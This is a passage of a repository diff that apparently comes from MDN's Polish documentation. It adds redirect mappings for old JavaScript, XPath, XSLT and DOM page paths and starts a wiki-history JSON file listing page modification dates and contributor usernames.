+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiekt%C3%B3w /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_konstruktor%C3%B3w_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/U%C5%BCywanie_argument%C3%B3w_tablicy /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments
+/pl/docs/Web/JavaScript/Reference/Global_Objects/Error /pl/docs/Web/JavaScript/Referencje/Obiekty/Error
+/pl/docs/Web/JavaScript/Reference/Global_Objects/Error/message /pl/docs/Web/JavaScript/Referencje/Obiekty/Error/message
+/pl/docs/Web/JavaScript/Reference/Global_Objects/Error/name /pl/docs/Web/JavaScript/Referencje/Obiekty/Error/name
+/pl/docs/Web/JavaScript/Referencje/Funkcje /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Web/JavaScript/Referencje/Funkcje/Boolean /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Web/JavaScript/Referencje/Funkcje/Date /pl/docs/Web/JavaScript/Referencje/Obiekty/Date
+/pl/docs/Web/JavaScript/Referencje/Funkcje/Number /pl/docs/Web/JavaScript/Referencje/Obiekty/Number
+/pl/docs/Web/JavaScript/Referencje/Funkcje/Object /pl/docs/Web/JavaScript/Referencje/Obiekty/Object
+/pl/docs/Web/JavaScript/Referencje/Funkcje/String /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Web/JavaScript/Referencje/Funkcje/decodeURI /pl/docs/Web/JavaScript/Referencje/Obiekty/decodeURI
+/pl/docs/Web/JavaScript/Referencje/Funkcje/decodeURIComponent /pl/docs/Web/JavaScript/Referencje/Obiekty/decodeURIComponent
+/pl/docs/Web/JavaScript/Referencje/Funkcje/encodeURI /pl/docs/Web/JavaScript/Referencje/Obiekty/encodeURI
+/pl/docs/Web/JavaScript/Referencje/Funkcje/encodeURIComponent /pl/docs/Web/JavaScript/Referencje/Obiekty/encodeURIComponent
+/pl/docs/Web/JavaScript/Referencje/Funkcje/eval /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/eval
+/pl/docs/Web/JavaScript/Referencje/Funkcje/isFinite /pl/docs/Web/JavaScript/Referencje/Obiekty/isFinite
+/pl/docs/Web/JavaScript/Referencje/Funkcje/isNaN /pl/docs/Web/JavaScript/Referencje/Obiekty/isNaN
+/pl/docs/Web/JavaScript/Referencje/Funkcje/parseFloat /pl/docs/Web/JavaScript/Referencje/Obiekty/parseFloat
+/pl/docs/Web/JavaScript/Referencje/Funkcje/parseInt /pl/docs/Web/JavaScript/Referencje/Obiekty/parseInt
+/pl/docs/Web/JavaScript/Referencje/Komentarze /pl/docs/Web/JavaScript/Referencje/Komentarz
+/pl/docs/Web/JavaScript/Referencje/Komentarze/komentarz /pl/docs/Web/JavaScript/Referencje/Komentarz
+/pl/docs/Web/JavaScript/Referencje/Obiekty/Array/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Array
+/pl/docs/Web/JavaScript/Referencje/Obiekty/Array/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/valueOf
+/pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Web/JavaScript/Referencje/Obiekty/Function/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Function
+/pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp
+/pl/docs/Web/JavaScript/Referencje/Obiekty/String/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne /pl/docs/Web/JavaScript/Referencje/Operatory
+/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_delete /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_delete
+/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_function /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_function
+/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_in /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_in
+/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_instanceof /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_instanceof
+/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_new /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_new
+/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_przecinkowy /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_przecinkowy
+/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_typeof /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_typeof
+/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_void /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_void
+/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_specjalne/Operator_warunkowy /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_warunkowy
+/pl/docs/Web/JavaScript/Referencje/W%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Web/JavaScript/Referencje/W%C5%82asno%C5%9Bci/Infinity /pl/docs/Web/JavaScript/Referencje/Obiekty/Infinity
+/pl/docs/Web/JavaScript/Referencje/W%C5%82asno%C5%9Bci/NaN /pl/docs/Web/JavaScript/Referencje/Obiekty/NaN
+/pl/docs/Web/JavaScript/Referencje/W%C5%82asno%C5%9Bci/undefined /pl/docs/Web/JavaScript/Referencje/Obiekty/undefined
+/pl/docs/Web/JavaScript/Referencje/W%C5%82asno%C5%9Bciundefined /pl/docs/Web/JavaScript/Referencje/Obiekty/undefined
+/pl/docs/Web/JavaScript/Referencje/Wyra%C5%BCenia /pl/docs/Web/JavaScript/Referencje/Polecenia
+/pl/docs/Web/JavaScript/Referencje/Wyra%C5%BCenia/const /pl/docs/Web/JavaScript/Referencje/Polecenia/const
+/pl/docs/Web/WebGL /pl/docs/Web/API/WebGL_API
+/pl/docs/Web/WebGL/Getting_started_with_WebGL /pl/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+/pl/docs/Web/XSLT/Elementy /pl/docs/Web/XSLT/Element
+/pl/docs/Web/XSLT/Elementy/element /pl/docs/Web/XSLT/Element/element
+/pl/docs/Web_Developer_-_rozszerzenie_Firefoksa_(link) https://addons.mozilla.org/extensions/moreinfo.php?id=60&application=firefox
+/pl/docs/Web_Development:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/Web_Development/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/Wikipedysta/Ptak82 /en-US/docs/User:Ptak82
+/pl/docs/Wikipedysta:Ptak82 /en-US/docs/User:Ptak82
+/pl/docs/Wprowadzenie_do_XML-a /pl/docs/Web/XML/Wprowadzenie_do_XML-a
+/pl/docs/Wprowadzenie_do_XMLa /pl/docs/Web/XML/Wprowadzenie_do_XML-a
+/pl/docs/Wspracie_przegl%C4%85darek_dla_element%C3%B3w_HTML /pl/docs/Wsparcie_przegl%C4%85darek_dla_element%C3%B3w_HTML
+/pl/docs/XML:Inne_zasoby /pl/docs/XML/Inne_zasoby
+/pl/docs/XML_Introduction /pl/docs/Web/XML/Wprowadzenie_do_XML-a
+/pl/docs/XPConnect:Podstawy_architektury /pl/docs/XPConnect/Podstawy_architektury
+/pl/docs/XPath /pl/docs/Web/XPath
+/pl/docs/XPath/Funkcje /pl/docs/Web/XPath/Funkcje
+/pl/docs/XPath/Funkcje/boolean /pl/docs/Web/XPath/Funkcje/boolean
+/pl/docs/XPath/Funkcje/ceiling /pl/docs/Web/XPath/Funkcje/ceiling
+/pl/docs/XPath/Funkcje/concat /pl/docs/Web/XPath/Funkcje/concat
+/pl/docs/XPath/Funkcje/contains /pl/docs/Web/XPath/Funkcje/contains
+/pl/docs/XPath/Funkcje/count /pl/docs/Web/XPath/Funkcje/count
+/pl/docs/XPath/Funkcje/current /pl/docs/Web/XPath/Funkcje/current
+/pl/docs/XPath/Funkcje/document /pl/docs/Web/XPath/Funkcje/document
+/pl/docs/XPath/Funkcje/element-available /pl/docs/Web/XPath/Funkcje/element-available
+/pl/docs/XPath/Funkcje/false /pl/docs/Web/XPath/Funkcje/false
+/pl/docs/XPath/Funkcje/floor /pl/docs/Web/XPath/Funkcje/floor
+/pl/docs/XPath/Funkcje/format-number /pl/docs/Web/XPath/Funkcje/format-number
+/pl/docs/XPath/Funkcje/function-available /pl/docs/Web/XPath/Funkcje/function-available
+/pl/docs/XPath/Funkcje/generate-id /pl/docs/Web/XPath/Funkcje/generate-id
+/pl/docs/XPath/Funkcje/id /pl/docs/Web/XPath/Funkcje/id
+/pl/docs/XPath/Funkcje/key /pl/docs/Web/XPath/Funkcje/key
+/pl/docs/XPath/Funkcje/lang /pl/docs/Web/XPath/Funkcje/lang
+/pl/docs/XPath/Funkcje/last /pl/docs/Web/XPath/Funkcje/last
+/pl/docs/XPath/Funkcje/local-name /pl/docs/Web/XPath/Funkcje/local-name
+/pl/docs/XPath/Funkcje/name /pl/docs/Web/XPath/Funkcje/name
+/pl/docs/XPath/Funkcje/namespace-uri /pl/docs/Web/XPath/Funkcje/namespace-uri
+/pl/docs/XPath/Funkcje/normalize-space /pl/docs/Web/XPath/Funkcje/normalize-space
+/pl/docs/XPath/Funkcje/not /pl/docs/Web/XPath/Funkcje/not
+/pl/docs/XPath/Funkcje/number /pl/docs/Web/XPath/Funkcje/number
+/pl/docs/XPath/Funkcje/position /pl/docs/Web/XPath/Funkcje/position
+/pl/docs/XPath/Funkcje/round /pl/docs/Web/XPath/Funkcje/round
+/pl/docs/XPath/Funkcje/starts-with /pl/docs/Web/XPath/Funkcje/starts-with
+/pl/docs/XPath/Funkcje/string /pl/docs/Web/XPath/Funkcje/string
+/pl/docs/XPath/Funkcje/string-length /pl/docs/Web/XPath/Funkcje/string-length
+/pl/docs/XPath/Funkcje/substring /pl/docs/Web/XPath/Funkcje/substring
+/pl/docs/XPath/Funkcje/substring-after /pl/docs/Web/XPath/Funkcje/substring-after
+/pl/docs/XPath/Funkcje/substring-before /pl/docs/Web/XPath/Funkcje/substring-before
+/pl/docs/XPath/Funkcje/sum /pl/docs/Web/XPath/Funkcje/sum
+/pl/docs/XPath/Funkcje/system-property /pl/docs/Web/XPath/Funkcje/system-property
+/pl/docs/XPath/Funkcje/translate /pl/docs/Web/XPath/Funkcje/translate
+/pl/docs/XPath/Funkcje/true /pl/docs/Web/XPath/Funkcje/true
+/pl/docs/XPath/Funkcje/unparsed-entity-url /pl/docs/Web/XPath/Funkcje/unparsed-entity-url
+/pl/docs/XPath/Osie /pl/docs/Web/XPath/Osie
+/pl/docs/XPath/Wyra%C5%BCenia /pl/docs/Web/XPath/Osie
+/pl/docs/XPath/Wyra%C5%BCenia/ancestor /pl/docs/XPath/Osie/ancestor
+/pl/docs/XPath/Wyra%C5%BCenia/ancestor-or-self /pl/docs/XPath/Osie/ancestor-or-self
+/pl/docs/XPath/Wyra%C5%BCenia/attribute /pl/docs/XPath/Osie/attribute
+/pl/docs/XPath/Wyra%C5%BCenia/child /pl/docs/XPath/Osie/child
+/pl/docs/XPath/Wyra%C5%BCenia/descendant /pl/docs/XPath/Osie/descendant
+/pl/docs/XPath/Wyra%C5%BCenia/descendant-or-self /pl/docs/XPath/Osie/descendant-or-self
+/pl/docs/XPath/Wyra%C5%BCenia/following /pl/docs/XPath/Osie/following
+/pl/docs/XPath/Wyra%C5%BCenia/following-sibling /pl/docs/XPath/Osie/following-sibling
+/pl/docs/XPath/Wyra%C5%BCenia/namespace /pl/docs/XPath/Osie/namespace
+/pl/docs/XPath/Wyra%C5%BCenia/parent /pl/docs/XPath/Osie/parent
+/pl/docs/XPath/Wyra%C5%BCenia/preceding /pl/docs/XPath/Osie/preceding
+/pl/docs/XPath/Wyra%C5%BCenia/preceding-sibling /pl/docs/XPath/Osie/preceding-sibling
+/pl/docs/XPath/Wyra%C5%BCenia/self /pl/docs/XPath/Osie/self
+/pl/docs/XPath:Funkcje /pl/docs/Web/XPath/Funkcje
+/pl/docs/XPath:Funkcje:boolean /pl/docs/Web/XPath/Funkcje/boolean
+/pl/docs/XPath:Funkcje:ceiling /pl/docs/Web/XPath/Funkcje/ceiling
+/pl/docs/XPath:Funkcje:concat /pl/docs/Web/XPath/Funkcje/concat
+/pl/docs/XPath:Funkcje:contains /pl/docs/Web/XPath/Funkcje/contains
+/pl/docs/XPath:Funkcje:count /pl/docs/Web/XPath/Funkcje/count
+/pl/docs/XPath:Funkcje:current /pl/docs/Web/XPath/Funkcje/current
+/pl/docs/XPath:Funkcje:document /pl/docs/Web/XPath/Funkcje/document
+/pl/docs/XPath:Funkcje:element-available /pl/docs/Web/XPath/Funkcje/element-available
+/pl/docs/XPath:Funkcje:false /pl/docs/Web/XPath/Funkcje/false
+/pl/docs/XPath:Funkcje:floor /pl/docs/Web/XPath/Funkcje/floor
+/pl/docs/XPath:Funkcje:format-number /pl/docs/Web/XPath/Funkcje/format-number
+/pl/docs/XPath:Funkcje:function-available /pl/docs/Web/XPath/Funkcje/function-available
+/pl/docs/XPath:Funkcje:generate-id /pl/docs/Web/XPath/Funkcje/generate-id
+/pl/docs/XPath:Funkcje:id /pl/docs/Web/XPath/Funkcje/id
+/pl/docs/XPath:Funkcje:key /pl/docs/Web/XPath/Funkcje/key
+/pl/docs/XPath:Funkcje:lang /pl/docs/Web/XPath/Funkcje/lang
+/pl/docs/XPath:Funkcje:last /pl/docs/Web/XPath/Funkcje/last
+/pl/docs/XPath:Funkcje:local-name /pl/docs/Web/XPath/Funkcje/local-name
+/pl/docs/XPath:Funkcje:name /pl/docs/Web/XPath/Funkcje/name
+/pl/docs/XPath:Funkcje:namespace-uri /pl/docs/Web/XPath/Funkcje/namespace-uri
+/pl/docs/XPath:Funkcje:normalize-space /pl/docs/Web/XPath/Funkcje/normalize-space
+/pl/docs/XPath:Funkcje:not /pl/docs/Web/XPath/Funkcje/not
+/pl/docs/XPath:Funkcje:number /pl/docs/Web/XPath/Funkcje/number
+/pl/docs/XPath:Funkcje:position /pl/docs/Web/XPath/Funkcje/position
+/pl/docs/XPath:Funkcje:round /pl/docs/Web/XPath/Funkcje/round
+/pl/docs/XPath:Funkcje:starts-with /pl/docs/Web/XPath/Funkcje/starts-with
+/pl/docs/XPath:Funkcje:string /pl/docs/Web/XPath/Funkcje/string
+/pl/docs/XPath:Funkcje:string-length /pl/docs/Web/XPath/Funkcje/string-length
+/pl/docs/XPath:Funkcje:substring /pl/docs/Web/XPath/Funkcje/substring
+/pl/docs/XPath:Funkcje:substring-after /pl/docs/Web/XPath/Funkcje/substring-after
+/pl/docs/XPath:Funkcje:substring-before /pl/docs/Web/XPath/Funkcje/substring-before
+/pl/docs/XPath:Funkcje:sum /pl/docs/Web/XPath/Funkcje/sum
+/pl/docs/XPath:Funkcje:system-property /pl/docs/Web/XPath/Funkcje/system-property
+/pl/docs/XPath:Funkcje:translate /pl/docs/Web/XPath/Funkcje/translate
+/pl/docs/XPath:Funkcje:true /pl/docs/Web/XPath/Funkcje/true
+/pl/docs/XPath:Funkcje:unparsed-entity-url /pl/docs/Web/XPath/Funkcje/unparsed-entity-url
+/pl/docs/XPath:Osie /pl/docs/Web/XPath/Osie
+/pl/docs/XPath:Osie:ancestor /pl/docs/XPath/Osie/ancestor
+/pl/docs/XPath:Osie:ancestor-or-self /pl/docs/XPath/Osie/ancestor-or-self
+/pl/docs/XPath:Osie:attribute /pl/docs/XPath/Osie/attribute
+/pl/docs/XPath:Osie:child /pl/docs/XPath/Osie/child
+/pl/docs/XPath:Osie:descendant /pl/docs/XPath/Osie/descendant
+/pl/docs/XPath:Osie:descendant-or-self /pl/docs/XPath/Osie/descendant-or-self
+/pl/docs/XPath:Osie:following /pl/docs/XPath/Osie/following
+/pl/docs/XPath:Osie:following-sibling /pl/docs/XPath/Osie/following-sibling
+/pl/docs/XPath:Osie:namespace /pl/docs/XPath/Osie/namespace
+/pl/docs/XPath:Osie:parent /pl/docs/XPath/Osie/parent
+/pl/docs/XPath:Osie:preceding /pl/docs/XPath/Osie/preceding
+/pl/docs/XPath:Osie:preceding-sibling /pl/docs/XPath/Osie/preceding-sibling
+/pl/docs/XPath:Osie:self /pl/docs/XPath/Osie/self
+/pl/docs/XPath:Wyra%C5%BCenia /pl/docs/Web/XPath/Osie
+/pl/docs/XPath:Wyra%C5%BCenia:ancestor /pl/docs/XPath/Osie/ancestor
+/pl/docs/XPath:Wyra%C5%BCenia:ancestor-or-self /pl/docs/XPath/Osie/ancestor-or-self
+/pl/docs/XPath:Wyra%C5%BCenia:attribute /pl/docs/XPath/Osie/attribute
+/pl/docs/XPath:Wyra%C5%BCenia:child /pl/docs/XPath/Osie/child
+/pl/docs/XPath:Wyra%C5%BCenia:descendant /pl/docs/XPath/Osie/descendant
+/pl/docs/XPath:Wyra%C5%BCenia:descendant-or-self /pl/docs/XPath/Osie/descendant-or-self
+/pl/docs/XPath:Wyra%C5%BCenia:following /pl/docs/XPath/Osie/following
+/pl/docs/XPath:Wyra%C5%BCenia:following-sibling /pl/docs/XPath/Osie/following-sibling
+/pl/docs/XPath:Wyra%C5%BCenia:namespace /pl/docs/XPath/Osie/namespace
+/pl/docs/XPath:Wyra%C5%BCenia:parent /pl/docs/XPath/Osie/parent
+/pl/docs/XPath:Wyra%C5%BCenia:preceding /pl/docs/XPath/Osie/preceding
+/pl/docs/XPath:Wyra%C5%BCenia:preceding-sibling /pl/docs/XPath/Osie/preceding-sibling
+/pl/docs/XPath:Wyra%C5%BCenia:self /pl/docs/XPath/Osie/self
+/pl/docs/XSLT /pl/docs/Web/XSLT
+/pl/docs/XSLT/Elementy /pl/docs/Web/XSLT/Element
+/pl/docs/XSLT/apply-imports /pl/docs/Web/XSLT/apply-imports
+/pl/docs/XSLT/apply-templates /pl/docs/Web/XSLT/apply-templates
+/pl/docs/XSLT/attribute /pl/docs/Web/XSLT/attribute
+/pl/docs/XSLT/attribute-set /pl/docs/Web/XSLT/attribute-set
+/pl/docs/XSLT/call-template /pl/docs/Web/XSLT/call-template
+/pl/docs/XSLT/choose /pl/docs/Web/XSLT/choose
+/pl/docs/XSLT/comment /pl/docs/Web/XSLT/comment
+/pl/docs/XSLT/copy /pl/docs/Web/XSLT/copy
+/pl/docs/XSLT/copy-of /pl/docs/Web/XSLT/copy-of
+/pl/docs/XSLT/decimal-format /pl/docs/Web/XSLT/decimal-format
+/pl/docs/XSLT/element /pl/docs/Web/XSLT/Element/element
+/pl/docs/XSLT/fallback /pl/docs/Web/XSLT/fallback
+/pl/docs/XSLT/for-each /pl/docs/Web/XSLT/for-each
+/pl/docs/XSLT/if /pl/docs/Web/XSLT/if
+/pl/docs/XSLT/import /pl/docs/Web/XSLT/import
+/pl/docs/XSLT/include /pl/docs/Web/XSLT/include
+/pl/docs/XSLT/key /pl/docs/Web/XSLT/key
+/pl/docs/XSLT/message /pl/docs/Web/XSLT/message
+/pl/docs/XSLT/namespace-alias /pl/docs/Web/XSLT/namespace-alias
+/pl/docs/XSLT/number /pl/docs/Web/XSLT/number
+/pl/docs/XSLT/otherwise /pl/docs/Web/XSLT/otherwise
+/pl/docs/XSLT/output /pl/docs/Web/XSLT/output
+/pl/docs/XSLT/param /pl/docs/Web/XSLT/param
+/pl/docs/XSLT/preserve-space /pl/docs/Web/XSLT/preserve-space
+/pl/docs/XSLT/processing-instruction /pl/docs/Web/XSLT/processing-instruction
+/pl/docs/XSLT/sort /pl/docs/Web/XSLT/sort
+/pl/docs/XSLT/strip-space /pl/docs/Web/XSLT/strip-space
+/pl/docs/XSLT/stylesheet /pl/docs/Web/XSLT/stylesheet
+/pl/docs/XSLT/template /pl/docs/Web/XSLT/template
+/pl/docs/XSLT/text /pl/docs/Web/XSLT/text
+/pl/docs/XSLT/transform /pl/docs/Web/XSLT/transform
+/pl/docs/XSLT/value-of /pl/docs/Web/XSLT/value-of
+/pl/docs/XSLT/variable /pl/docs/Web/XSLT/variable
+/pl/docs/XSLT/when /pl/docs/Web/XSLT/when
+/pl/docs/XSLT/with-param /pl/docs/Web/XSLT/with-param
+/pl/docs/XSLT:Elementy /pl/docs/Web/XSLT/Element
+/pl/docs/XSLT:Inne_zasoby /pl/docs/XSLT/Inne_zasoby
+/pl/docs/XSLT:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/XSLT/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/XSLT:apply-imports /pl/docs/Web/XSLT/apply-imports
+/pl/docs/XSLT:apply-templates /pl/docs/Web/XSLT/apply-templates
+/pl/docs/XSLT:attribute /pl/docs/Web/XSLT/attribute
+/pl/docs/XSLT:attribute-set /pl/docs/Web/XSLT/attribute-set
+/pl/docs/XSLT:call-template /pl/docs/Web/XSLT/call-template
+/pl/docs/XSLT:choose /pl/docs/Web/XSLT/choose
+/pl/docs/XSLT:comment /pl/docs/Web/XSLT/comment
+/pl/docs/XSLT:copy /pl/docs/Web/XSLT/copy
+/pl/docs/XSLT:copy-of /pl/docs/Web/XSLT/copy-of
+/pl/docs/XSLT:decimal-format /pl/docs/Web/XSLT/decimal-format
+/pl/docs/XSLT:element /pl/docs/Web/XSLT/Element/element
+/pl/docs/XSLT:fallback /pl/docs/Web/XSLT/fallback
+/pl/docs/XSLT:for-each /pl/docs/Web/XSLT/for-each
+/pl/docs/XSLT:if /pl/docs/Web/XSLT/if
+/pl/docs/XSLT:import /pl/docs/Web/XSLT/import
+/pl/docs/XSLT:include /pl/docs/Web/XSLT/include
+/pl/docs/XSLT:key /pl/docs/Web/XSLT/key
+/pl/docs/XSLT:message /pl/docs/Web/XSLT/message
+/pl/docs/XSLT:namespace-alias /pl/docs/Web/XSLT/namespace-alias
+/pl/docs/XSLT:number /pl/docs/Web/XSLT/number
+/pl/docs/XSLT:otherwise /pl/docs/Web/XSLT/otherwise
+/pl/docs/XSLT:output /pl/docs/Web/XSLT/output
+/pl/docs/XSLT:param /pl/docs/Web/XSLT/param
+/pl/docs/XSLT:preserve-space /pl/docs/Web/XSLT/preserve-space
+/pl/docs/XSLT:processing-instruction /pl/docs/Web/XSLT/processing-instruction
+/pl/docs/XSLT:sort /pl/docs/Web/XSLT/sort
+/pl/docs/XSLT:strip-space /pl/docs/Web/XSLT/strip-space
+/pl/docs/XSLT:stylesheet /pl/docs/Web/XSLT/stylesheet
+/pl/docs/XSLT:template /pl/docs/Web/XSLT/template
+/pl/docs/XSLT:text /pl/docs/Web/XSLT/text
+/pl/docs/XSLT:transform /pl/docs/Web/XSLT/transform
+/pl/docs/XSLT:value-of /pl/docs/Web/XSLT/value-of
+/pl/docs/XSLT:variable /pl/docs/Web/XSLT/variable
+/pl/docs/XSLT:when /pl/docs/Web/XSLT/when
+/pl/docs/XSLT:with-param /pl/docs/Web/XSLT/with-param
+/pl/docs/XSLT_w_Gecko:Zasoby /pl/docs/XSLT_w_Gecko/Zasoby
+/pl/docs/Zarz%C4%85dzanie_fokusem_w_HTML /pl/docs/Web/HTML/Zarz%C4%85dzanie_fokusem_w_HTML
+/pl/docs/Zasoby_j%C4%99zyka_JavaScript /pl/docs/Web/JavaScript/Zasoby_j%C4%99zyka_JavaScript
+/pl/docs/Zasoby_offline_w_Firefoksie /pl/docs/Web/HTML/Zasoby_offline_w_Firefoksie
+/pl/docs/Zdarzenia_online_i_offline /pl/docs/Web/API/NavigatorOnLine/Zdarzenia_online_i_offline
+/pl/docs/Zmiany_XMLHttpRequest_dla_Gecko_1.8 /pl/docs/Zmiany_w_obiekcie_XMLHttpRequest_w_Gecko_1.8
+/pl/docs/appendChild /pl/docs/Web/API/Element/appendChild
+/pl/docs/blur /pl/docs/Web/API/Element/blur
+/pl/docs/cloneNode /pl/docs/Web/API/Element/clientNode
+/pl/docs/en /en-US/
+/pl/docs/focus /pl/docs/Web/API/Element/focus
+/pl/docs/getAttribute /pl/docs/Web/API/Element/getAttribute
+/pl/docs/install.rdf /pl/docs/Manifesty_Instalacji
+/pl/docs/mozilla-central /pl/docs/Mozilla/Developer_guide/mozilla-central
+/pl/docs/setAttribute /pl/docs/Web/API/Element/setAttribute
diff --git a/files/pl/_wikihistory.json b/files/pl/_wikihistory.json
new file mode 100644
index 0000000000..84f1cae08e
--- /dev/null
+++ b/files/pl/_wikihistory.json
@@ -0,0 +1,11772 @@
+{
+ "API_dostępu_do_danych_z_kanałów": {
+ "modified": "2019-03-23T23:44:27.416Z",
+ "contributors": [
+ "SphinxKnight",
+ "Bedi",
+ "gandalf",
+ "Ptak82"
+ ]
+ },
+ "Aktualizacja_aplikacji_internetowych_dla_Firefoksa_3": {
+ "modified": "2019-03-23T23:59:55.485Z",
+ "contributors": [
+ "wbamberg",
+ "Sheppy",
+ "zarat",
+ "gandalf",
+ "Mgjbot",
+ "Ptak82",
+ "Flaneur",
+ "Cardil"
+ ]
+ },
+ "Aktualizacja_rozszerzeń_dla_Firefoksa_3": {
+ "modified": "2019-12-13T20:34:55.140Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "Sheppy",
+ "zarat",
+ "Witia",
+ "Ptak82",
+ "Patryk Węgrzynek",
+ "Mgjbot",
+ "Bedi",
+ "Peyn",
+ "Diablownik",
+ "Proboszcz"
+ ]
+ },
+ "Aktualizacja_rozszerzeń_do_Firefoksa_2": {
+ "modified": "2019-03-23T23:50:53.722Z",
+ "contributors": [
+ "wbamberg",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Bezpieczeństwo_w_Firefoksie_2": {
+ "modified": "2019-03-23T23:54:28.429Z",
+ "contributors": [
+ "wbamberg",
+ "Mgjbot",
+ "Ptak82",
+ "RafalRawicki"
+ ]
+ },
+ "Chrome": {
+ "modified": "2019-03-23T23:44:52.281Z",
+ "contributors": [
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Co_nowego_w_Deer_Park_Alpha": {
+ "modified": "2019-03-23T23:46:10.418Z",
+ "contributors": [
+ "wbamberg",
+ "SphinxKnight",
+ "pkubowicz",
+ "Ptak82",
+ "Staszyna",
+ "gandalf"
+ ]
+ },
+ "DHTML": {
+ "modified": "2019-03-23T23:44:56.232Z",
+ "contributors": [
+ "Mgjbot",
+ "gandalf",
+ "Ptak82",
+ "Dria"
+ ]
+ },
+ "DOM": {
+ "modified": "2019-03-23T23:54:33.828Z",
+ "contributors": [
+ "ethertank",
+ "Mgjbot",
+ "Bedi",
+ "Ptak82",
+ "Takenbot",
+ "Zwierz",
+ "gandalf",
+ "Jan Dudek",
+ "Anonymous",
+ "Dria"
+ ]
+ },
+ "DOM/dispatchEvent_-_przykład": {
+ "modified": "2019-03-23T23:50:28.341Z",
+ "contributors": [
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "DOM/element.onkeydown": {
+ "modified": "2019-03-23T23:46:41.310Z",
+ "contributors": [
+ "AshfaqHossain",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "DOM_i_JavaScript": {
+ "modified": "2019-12-13T21:10:08.496Z",
+ "contributors": [
+ "wbamberg",
+ "lukasz.jezierski",
+ "Re set",
+ "Diablownik",
+ "Rev",
+ "Ptak82",
+ "Bedi",
+ "Internauta1024A"
+ ]
+ },
+ "Dodawanie_wyszukiwarek_z_poziomu_stron_WWW": {
+ "modified": "2019-01-16T15:27:45.981Z",
+ "contributors": [
+ "Mgjbot",
+ "Killerowski",
+ "Diablownik",
+ "Marcoos",
+ "Ptak82"
+ ]
+ },
+ "Dokumentacja_Gecko_DOM": {
+ "modified": "2019-01-16T16:05:36.652Z",
+ "contributors": [
+ "Ptak82",
+ "Mgjbot",
+ "Takenbot",
+ "Jan Dudek"
+ ]
+ },
+ "Dokumentacja_Gecko_DOM/Przedmowa": {
+ "modified": "2019-03-23T23:47:41.657Z",
+ "contributors": [
+ "khalid32",
+ "safjanowski",
+ "Ranides",
+ "Mgjbot",
+ "Ptak82",
+ "Bedi",
+ "Akustyk"
+ ]
+ },
+ "Dokumentacja_Gecko_DOM/Przykłady_użycia_DOM": {
+ "modified": "2019-03-23T23:50:20.825Z",
+ "contributors": [
+ "pablovsky",
+ "mklkj",
+ "khalid32",
+ "Ptak82",
+ "Mgjbot",
+ "Bedi"
+ ]
+ },
